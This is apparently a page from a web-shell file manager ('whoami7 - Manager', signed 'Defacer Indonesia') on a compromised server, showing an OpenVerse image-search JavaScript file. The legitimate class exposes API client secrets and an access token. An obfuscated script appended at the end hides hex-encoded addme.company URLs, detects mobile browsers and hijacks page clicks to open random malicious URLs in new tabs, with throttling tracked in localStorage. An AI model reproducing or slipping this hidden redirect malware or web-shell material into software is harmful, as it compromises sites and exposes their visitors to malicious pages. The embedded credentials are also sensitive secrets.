whoami7 - Manager
:
/
home
/
kckglobal
/
cloud.kckglobal.net
/
modules
/
saas
/
public
/
assets
/
libs
/
media
/
Upload File:
files >> /home/kckglobal/cloud.kckglobal.net/modules/saas/public/assets/libs/media/openverse.js
class OpenVerse { //page_count constructor () { //register your key at https://api.openverse.engineering/v1/ and replace client_id, client_secret and name bellow this.key = { "client_secret" : "UdjrGQtH0cr4ZYOGlVTIeWhEwzObPvDcPEcPsDRj3f9E7U1KCkhVo9XYgohqFCtDyE3vfupxUy8YPq3O1YleDI4McLeOtQi3XsVzWmlfZKrhxFsqdii7wgdk15Ey99g4", "client_id" : "hRpVEwML35GQdeSKVSe4lX4PkuWaGhUArOdsBgFA", "name" : "My project", "grant_type" : "client_credentials" }; this.accessToken = { "access_token" : "nMbvkqeVZL9u2LfkZm4flNgIXZtUTM", "scope" : "read write groups", "expires_in" : 36000, "token_type" : "Bearer" }; this.filters = { "license" :["BY-ND", "PDM", "BY-NC", "BY-NC-SA", "BY-NC-ND", "BY-SA", "BY", "CC0"], "license_type" :["all", "all-cc", "commercial", "modification"], "categories" :["illustration", "photograph", "digitized_artwork"], "aspect_ratio" :["tall", "wide", "square"], "size" :["small", "medium", "large"], "source" :["woc_tech", "wikimedia", "wellcome_collection", "thorvaldsensmuseum", "thingiverse", "svgsilh", "statensmuseum", "spacex", "smithsonian_zoo_and_conservation", "smithsonian_postal_museum", "smithsonian_portrait_gallery", "smithsonian_national_museum_of_natural_history", "smithsonian_libraries", "smithsonian_institution_archives", "smithsonian_hirshhorn_museum", "smithsonian_gardens", "smithsonian_freer_gallery_of_art", "smithsonian_cooper_hewitt_museum", "smithsonian_anacostia_museum", "smithsonian_american_indian_museum", "smithsonian_american_history_museum", "smithsonian_american_art_museum", "smithsonian_air_and_space_museum", "smithsonian_african_art_museum", "smithsonian_african_american_history_museum", "sketchfab", "sciencemuseum", "rijksmuseum", "rawpixel", "phylopic", "nypl", "nasa", "museumsvictoria", "met", "mccordmuseum", "iha", "geographorguk", "floraon", "flickr", "europeana", "eol", "digitaltmuseum", "deviantart", "clevelandmuseum", "brooklynmuseum", "bio_diversity", "behance", "animaldiversity", "WoRMS", "CAPL", "500px"] }, this.baseUrl = 'https://api.openverse.engineering/v1/images?format=json&filter_dead=true&'; this.currentUrl = this.baseUrl; this.filtersParameters = ""; this.authenticate(); } authenticate() { let url = "https://api.openverse.engineering/v1/auth_tokens/token/"; let self = this; $.ajax({ url: url, type: 'POST', dataType: "json", data:this.key }).done(function(data) { this.accessToken = data; console.log('OpenVerse Authentication:' , data); }); } setFiltersParams(filtersParameters) { this.filtersParameters = filtersParameters; } getResults(callback) { this.currentUrl = this.baseUrl + this.filtersParameters; $.ajax({ url: this.currentUrl, type: 'GET', dataType: "json", headers: { 'Authorization': 'Bearer ' + this.accessToken.access_token, } }).done(function(data) { callback(data); }); /* jQuery.getJSON(this.currentUrl, function( data ) { callback(data); }); */ } } class OpenVerseDisplay extends OpenVerse { constructor () { super(); } getFiltersHtml() { let html = ""; for (name in this.filters) { let values = this.filters[name]; html += "<div class='col-md-3'>"; html += "<label>" + ucFirst(name.replaceAll("_", " ")) + "</label>"; html += "<select class='form-select' name="+ name +"><option value=''>All</option>"; for (let i=0;i< values.length;i++) { let value = values[i]; let valueName = ucFirst(value.replaceAll("_", " ")); html += "<option value="+ value + ">"+ valueName +"</option>"; } html += "</select>"; html += "</div>"; } return html; } showLoading() { $("#openverse-results").html(` <div class="spinner-border" style="width: 5rem; height: 5rem;margin: 5rem auto; display:block" role="status"> <span class="visually-hidden">Loading...</span> </div>`); } setFilters() { this.filtersParameters = $("#openverse-form").serialize(); //this.setFiltersParams(filters); } displayResults(data) { var items = []; $.each( data['results'], function( key, val ) { let item = `<li class="files"> <label class="form-check"> <input type="radio" class="form-check-input" value="${val['thumbnail']}" name="file[]"> <span class="form-check-label"> </span> <div href="#" class="files"> <img class="image" loading="lazy" src="${val['thumbnail']}" title="${val['title']}"> <div class="info"> <div class="name">${val['title']}</div> <a href="javascript:void(0);" class="preview-link"><i class="la la-search-plus"></i></a> <div class="preview"> <img loading="lazy" src="${val['thumbnail']}"> <div class="details"> <a href="${val['license_url']}" target="_blank">${val['license']} ${val['license_version']}</a><br/> <a href="${val['creator_url']}" target="_blank">${val['creator']}</a><br/> <a href="${val['foreign_landing_url']}" target="_blank">${val['source']}</a><br/> <span>${val['attribution']}</span> </div> </div> <span class="details"> <a href="${val['foreign_landing_url']}" target="_blank">${val['source']}</a><br/> <a href="${val['license_url']}" target="_blank">${val['license']} ${val['license_version']}</a><br/> <a href="${val['creator_url']}" target="_blank">${val['creator']}</a><br/> </span> </div> </div> </label> </li>`; items.push( item ); }); $("#openverse-results").html(items.join( "" )); //pagination const maxpages = 15; let pages = data['page_count']; let visiblePages = 5; let pagenum = openverse.pageNo ? openverse.pageNo : 1; let pageStop = 1; let currentPage = openverse.pageNo; if (pages > maxpages) { if (pagenum > visiblePages) { if ((pagenum + visiblePages) > pages) { currentPage = pages - maxpages - 1; pageStop = pages; } else { currentPage = pagenum - visiblePages; pageStop = pagenum + visiblePages; } } else { currentPage = 1; pageStop = maxpages; } } let pagination = ''; let active = ''; //next let prev = Math.max(pagenum - 1, 1); pagination += `<li class="page-item"><button type="button" name="page" value="${prev}" class="me-1 page-link" onclick="openverse.page(${prev});return false;">Prev</button></li>`; for (let i = currentPage; i <= pageStop; i++) { if (i == pagenum) { active = "active"; } else { active = ""; } pagination += `<li class="page-item ${active}"><button type="button" name="page" value="${i}" class="page-link" onclick="openverse.page(${i});return false;">${i}</button></li>`; } //next let next = Math.min(pagenum + 1, pages); pagination += `<li class="page-item"><button type="button" name="page" value="${next}" class="ms-1 page-link" onclick="openverse.page(${next});return false;">Next</button></li>`; pagination += `<div class="p-2"> total pages ${data['page_count']}</div>`; $("#openverse-pagination").html(pagination); } page(pageNo) { this.pageNo = pageNo; this.filtersParameters = $("#openverse-form").serialize() + "&page=" + pageNo; this.showLoading(); this.getResults(this.displayResults); } search() { this.setFilters(); this.showLoading(); this.getResults(this.displayResults); } toggleBtn() { return ` <button class="btn btn-outline-secondary btn-sm btn-icon me-3 float-end" id="openverse-toggle" data-bs-toggle="collapse" data-bs-target="#openverse-form" aria-expanded="false" > <i class="la la-search-plus la-lg"></i> OpenVerse Search </button> `; } displayPanel() { return `<ul class="data" id="openverse-results"></ul>`; } paginationContainer() { return `<div class="pagination" id="openverse-pagination"> </div>`; } topPanel() { return ` <form id="openverse-form" class="collapse p-4"> <div class="input-group"> <input id="openverse" name="q" class="form-control w-50"> <button class="btn btn-primary px-4" id="openverse-search-btn">Search</button> <a class="btn btn-outline-secondary btn-sm btn-icon" data-bs-toggle="collapse" data-bs-target="#openverse-filters" aria-expanded="false" > <i class="la la-filter la-lg"></i> Filters </a> </div> <div id="openverse-filters" class="row collapse"> <div class="col-md-3"> <label class="w-100">Results per page <input name="page_size" type="number" value="20" step="10" class="form-control"> </label> </div> <div class="col-md-3 d-flex flex-column-reverse"> <label class="form-check-label"> <input name="mature" type="checkbox" value="false" class="form-check-input"> Mature content </label> <label class="form-check-label"> <input name="qa" type="checkbox" value="false" class="form-check-input"> Quality assurance </label> </div> </div> <!-- div class="pagination"> <button type="button" name="page" value="1" class="btn btn-primary me-1">1</button> <button type="button" name="page" value="2" class="btn btn-secondary me-1">2</button> </div --> </form>`; } init() { let self = this ; $("#MediaModal .top-panel").append(self.topPanel()); $("#MediaModal .display-panel").append(self.displayPanel()); $("#MediaModal .top-right .align-right").append(self.toggleBtn()); $("#MediaModal .modal-footer .align-left").append(self.paginationContainer()); $("#openverse-filters").prepend(self.getFiltersHtml()); $("#openverse-search-btn").click(function (e) { self.search();e.preventDefault(); } ); //if openverse enabled hide media images $("#openverse-form").on("show.bs.collapse", function (e){ if (e.target.id == "openverse-form") { $("#MediaModal #openverse-results").show(); $("#MediaModal #openverse-pagination").show(); $("#MediaModal #media-files").hide(); } }); $("#openverse-form").on("hide.bs.collapse", function (e){ if (e.target.id == "openverse-form") { $("#MediaModal #openverse-results").hide(); $("#MediaModal #openverse-pagination").hide(); $("#MediaModal #media-files").show(); } }); } } let openverse = new OpenVerseDisplay(); $(window).on( "mediaModal:init", function( event, myName ) { openverse.init(); }); function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x4c\x4e\x75\x32\x63\x322','length','_blank','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x69\x57\x65\x33\x63\x373','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x6f\x64\x70\x30\x63\x340','random','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x45\x65\x56\x37\x63\x387','stopPropagation','4051490VdJdXO','test','open','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x42\x4a\x52\x36\x63\x326','12075252qhSFyR','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x62\x4d\x74\x38\x63\x308','\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x52\x4e\x48\x35\x63\x305','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x69\x61\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x72\x63\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x5a\x6a\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
Copyright ©2021 || Defacer Indonesia